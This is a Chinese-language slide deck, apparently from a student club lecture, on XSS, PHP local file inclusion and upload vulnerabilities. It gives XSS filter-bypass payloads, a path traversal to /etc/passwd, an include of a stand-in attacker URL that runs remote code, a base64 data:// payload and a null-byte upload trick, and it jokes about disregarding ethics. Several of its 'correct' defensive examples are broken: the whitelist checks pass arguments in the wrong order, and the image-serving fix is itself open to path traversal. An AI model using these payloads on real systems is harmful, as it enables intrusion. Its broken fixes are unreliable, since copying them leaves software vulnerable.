資訊創意研究社

The Another Free

About Me

  • 大同大學資工系四年級

 

  • 精通 PHP 與 伺服器管理

 

  • TDOH 社群 教材管理祕書

 

  • 會講髒話

今天的主題好像很潮很帥

The Another Free

呵呵

今天的課程比較進階

畢竟有學長姐來捧場(?)

在此假設……

  • 你已經瞭解並能夠基礎應用任一程式語言
    • C/C++除外,那個是大一的基本
    • 如果不會的話,推薦學 Python 或 JavaScript
  • 你知道什麼是網頁,什麼是前端後端
    • 不知道也沒差啦,反正有問題就盡量問
    • 我才能拖時間
  • 你會使用 Unix-Like 系統,並基本運用 CLI
    • 呃…前幾個禮拜的社課有講哦

我私心偏愛的三大網頁弱點

  • XSS
  • LFI、上傳弱點
  • SQL Injection

XSS

網頁前端的美麗誤會

同件事,每個人都有不同想法

同件事,每個人都有不同想法

一般使用者:淦,學校系統又出問題

同件事,每個人都有不同想法

網管:窩糙,又一群小王八蛋

同件事,每個人都有不同想法

駭客資安研究人員:喵的,這下GG惹

雖然我覺得…

未經學校同意就公開漏洞有點不道德

不過,我什麼時候在乎道德惹?

漏洞成因

未詳盡檢查使用者資料

讓使用者可控制執行出來的指令

<html>
    <head>
        <!-- Bra Bra Bra -->
    </head>
    <body>
        <?php if(isset($_POST['name'])) echo $_POST['name']; ?>
        <form method="post"> 
            <input type="text" name="name">
            <button type="submit" value="送出"/>
        </form>
    </body>
</html>

我絕對不會說

漏洞發生於個人資料設定的部份

剩下的,就是你們年輕人的 故事了

漏洞危害

或許,有人會說

只是跳個視窗,無傷大雅

我絕對不會說這是某個學校的網管說的

不就只是跟 Windows 差不多嗎

其實用 alert 當例子

只是為了呈現 XSS 存在

畢竟又快又明顯

還能讓網管沒面子

一舉多得

XSS 主要是拿來

  • 整人
  • 偷 cookie
  • 竄改網頁內容
  • 以使用者的身份做某些事

漏洞分類

  • 反射型
  • 儲存型
  • DOM 型

反射型

  • 通常將攻擊指令存在網址
  • 當使用者點下去就 GG

儲存型

  • 把攻擊指令儲存在某地方
  • 只要使用者連線到該網頁就中獎
  • 網址明顯
    • 可用 goo.gl 規避
  • 伺服器記錄不明顯
    • 通常只有 Log 才看得出
  • 有機會被 Webkit Browser擋下
  • 攻擊指令會一直存在
    • 除非記錄被刪除
  • 簡單易用好上手
    • 而且很常見

反射型

儲存型

http://ppt.cc/KiFSq

某國立大學

某大同網路大學

DOM 型?

有點難講,跳過

漏洞防範

我比較喜歡先講錯誤範例

因為這樣才可以嘲笑他

錯誤範例集

我把 alert 這組字串刪掉/擋掉

呃……意義何在?

不蓋你,前陣子某間學校有這樣防範 XSS

我把 script 這個字串刪掉/檔掉

同間學校,同種方式,同樣很蠢(?)

一個 script 不夠

你是不會放兩個哦

一個 script 不夠

你是不會放兩個哦

為了保護當事人

我們上了馬賽克

<scscriptript>

alert(1)

</sscriptcript>

<scscriptript>

alert(1)

</sscriptcript>

不用 <script>

<img onerror="">

不用 alert()

eval(String.fromCharCode())

#輕鬆 bypass 大同防火牆

正確範例

PHP htmlentities()

<?php 

$str = $_GET['name'];

echo $str; // Danger
echo htmlentities($str); // Safe

不僅會處理 html tag ,還會處理編碼

在 PHP 中被視為真正的 XSS 解決方案

幾種先進的前端框架

  • AngularJS
  • ReactJS

來點中場休息

LFI

Local File Inclusion

我真的很喜歡那句話

靠悲放錯投影片

單♂點♂突♂破

全♀面♀淪♀陷

雖然不知道為什麼

可是好像很厲害的樣子

先來點 PHP 基礎

四大引用函式

  • include
  • include_once
  • require
  • require_once

在 LFI 的案例中

把他們當成是同樣的東西就好

 

作用?

 

不要重複造輪子

舉個例子

<html>
    <head>
        <!-- Bra Bra Bra -->
    </head>
    <body>
        <header>
            <?php include('header.php'); ?>
        </header>
        <section class="content">
            <?php include('main.php'); ?>
        </section>
        <footer>
            <?php include('footer.php'); ?>
        </footer>
    </body>
</html>

簡化開發流程

include 方便又常見

無論是自己開發,或是套用框架

include 根本必備良藥

至於良藥變毒藥,又是另外一個故事了

我們來看個例子

<html>
    <head>
        <!-- Bra Bra Bra -->
    </head>
    <body>
        <header>
            <?php include 'header.php'; ?>
        </header>
        <section id="content">
            <?php
                if(isset($_GET['page']) && file_exists($_GET['page']))
                    include $_GET['page'];
                else
                    include 'index.php';
            ?>
        </section>
        <footer>
            <?php include 'footer.php'; ?>
        </footer>
    </body>
</html>

?page=menu.php

?page=about.php

?page=info.php

?page=../../..~../../etc/passwd

不過就是看看檔案

(挖鼻孔)

我必須說

PHP 是個很棒的語言

非常 Hacker Friendly

PHP 歷史悠久

為了「相容性」

偶爾會看到一些舊特性

像是 include 一個網址

這樣就能執行我們想要的程式哦 <3

<?php 

    include 'http://www.hacker.io/hacked.php';

像是 include 一組 data

這樣也能執行我們想要的程式哦 <3

<?php

    include 'data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=';

    // echo "PD9waHAgcGhwaW5mbygpPz4=" | base64 -d
    // <?php phpinfo() ?> 

可惜這些特性通常會被關閉

通常只有在舊版設定才會出現

順帶一提,這個設定叫做

allow_url_include

可是,還有一個特性

php:// 串流協定

<?php

    include 'php://filter/convert.base64-encode/resource=index.php'; 

只能看,不能執行
但是通常會藉此找出更多漏洞

防範方式

白名單機制

官方建議

<?php
    $whiteList = ['index.php', 'info.php', 'about.php']; 
?>
<html>
    <head>
        <!-- Bra Bra Bra -->
    </head>
    <body>
        <header>
            <?php include('header.php'); ?>
        </header>
        <section id="contents">
            <?php
                if(in_array($whiteList, $_GET['page']))
                    include $_GET['page'];
                else
                    include 'index.php';
            ?>
    </body>
</html>

關閉

allow_url_include

中場休息 \owo/

上傳弱點

這弱點通常有個特徵

要有上傳功能

(被毆打)

這弱點新手很容易掌握

但要精通不太容易

攻擊步驟

  • 上傳 .php 檔
  • 執行該檔案

攻擊思路

  • 如何上傳 .php 檔
  • 如何執行 .php 檔
  • 如何隱藏自己的攻擊意圖

上傳篇

透過上傳功能上傳

透過 LFI 上傳

可惜要有 allow_url_include

透過 XSS 上傳

其實應該算是用 XSS 達成 CSRF

伺服器常見防護

副檔名白名單?

<?php

    $whiteList = ['jpg', 'png', 'jpeg', 'gif'];

    if( in_array($whiteList, $filename) )
        upload_file($filename);



    function ($filename){
        // Upload Action
    }

CVE 2015-2348

hack.php[nullbyte].jpg

檢查圖片檔頭?

<?php
    $whiteList = [IMAGETYPE_JPEG, IMAGETYPE_GIF, IMAGETYPE_PNG]
    if( in_array($whiteList, exif_imagetype($uploadedFile)) )
        // Upload Action

執行 PHP 檔

就去瀏覽一下上傳路徑咩

常見解決方法

從後端丟圖出來

而不是直接存取路徑

<?php

    header('Content-Type: image/jpeg');
    echo file_get_content("../upload/$_GET['image']");

上傳資料夾權限

只能讀取

感謝各位 <(_ _)>

資訊創意研究社 - The Another Free

By chivincent

資訊創意研究社 - The Another Free

  • 1,327